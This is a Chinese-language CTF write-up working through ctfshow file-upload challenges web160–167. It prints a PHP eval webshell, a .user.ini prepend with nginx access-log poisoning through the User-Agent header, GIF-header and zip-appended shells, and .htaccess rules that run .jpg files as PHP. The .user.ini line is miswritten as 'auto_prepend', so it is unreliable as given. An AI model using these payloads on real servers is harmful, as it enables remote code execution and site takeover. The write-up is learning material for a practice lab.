文件上传学习2

edited by twi1igh7

web160

这道题也是有点奇怪,明明是内容被过滤了,结果给我显示上传文件文件类型不合规

image-20260520210003909

这道题应该是把空格和反引号都ban了,那之前的打法都out了,看了wp,发现可以用日志包含(和文件包含联动了hh)

我们先写.user.ini

1
auto_prepend=shell.png

nginx的日志文件在/var/log/nginx/access.log下,然后再写图片马

1
<?=include"/var/l"."og/nginx/access.l"."og"?>

最后我们需要修改UA头来访问一次,让服务器记住我们的UA头:

1
<?php @eval($_POST['cmd']);?>

最后蚁剑连接即可

image-20260520223525685

小结

这里逻辑跨度可能有点大,重新梳理一下攻击链:我们先用修改后的UA访问一次,服务器记录了我们的UA->我们访问/var/www/html/upload目录->系统会自动解析.user.ini->.user.ini会执行图片马shell.png->图片马会文件包含日志/var/log/nginx/access.log->会执行日志文件中的php代码,也就是UA那段shell

太优雅了

web161

这道题上传.user.ini都失败了,看了wp发现要将文件头改成GIF89a伪造成gif图才能上传

image-20260521081511681

然后上传图片马,当然也需要加上gif头

1
2
GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

我们这时候访问/upload/如果能看到目录,就说明攻击链完成了image-20260521081744904

蚁剑连接即可

image-20260521081846756

小结

gif文件头为

1
GIF89a

web162-163

这道题把.给ban了

这里开始考条件竞争了,之前学文件包含的时候因为环境只在半夜开放就没有学条件竞争,这里学一下吧

参考这篇文章CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客

1
2
我用我的话来理解一下条件竞争吧:
文件上传到服务器后会立即保存,然后会花一小段时间来解析文件格式,如果文件格式符和规范则会重命名后保存文件,如果文件格式不符合规范则会删除该文件。但是我们可以利用文件上传到服务器被保存再到解析完成这段时间的timing来访问文件,达到攻击效果

但是不知道为什么我用大佬的脚本跑不出来,可能是校园网ban了,加上手机热点被限速了,脚本就先不跑了

这两道题先跳过吧

web166

这道题只能上传zip文件

image-20260521182342663

我们先正常找一个zip文件,然后再文件末尾写入一句话木马

image-20260521184734317

我们先正常上传这个木马zip,然后点击下载文件抓包

image-20260521184819633

修改请求方式为POST,然后正常POST传参即可,记得空格要url编码

image-20260521184918619

web167

这道题是apache服务器了,要用.htaccess文件,作用类似于.user.ini文件,就是将一个不是php的文件作为php文件来解析

.htaccess文件

1
AddType application/x-httpd-php .jpg

或者

1
2
3
<FilesMatch "shell3.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

我们先改成.htaccess.jpg,然后再上传抓包改后缀为.htaccess,然后再写图片马

1
<?php @eval($_POST['cmd']);?>

上传图片马后点击下载文件就跳转到了/upload/shell3.jpg,用蚁剑连接即可获取flag

image-20260521200159237

小结

这道题用了.htaccess配置文件,实质和.user.ini的作用差不多,都是让非php文件被当成php文件来解析。但是.htaccess是apache下的,.user.ini是nginx下的

.htaccess配置文件写法:

1
AddType application/x-httpd-php .jpg

或者写成:

1
2
3
<FilesMatch "shell3.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

结语

条件竞争剩了两道题,后面还有三道免杀的,今天就做到这里吧。一会儿去buu或者nss找点题来练练手hhh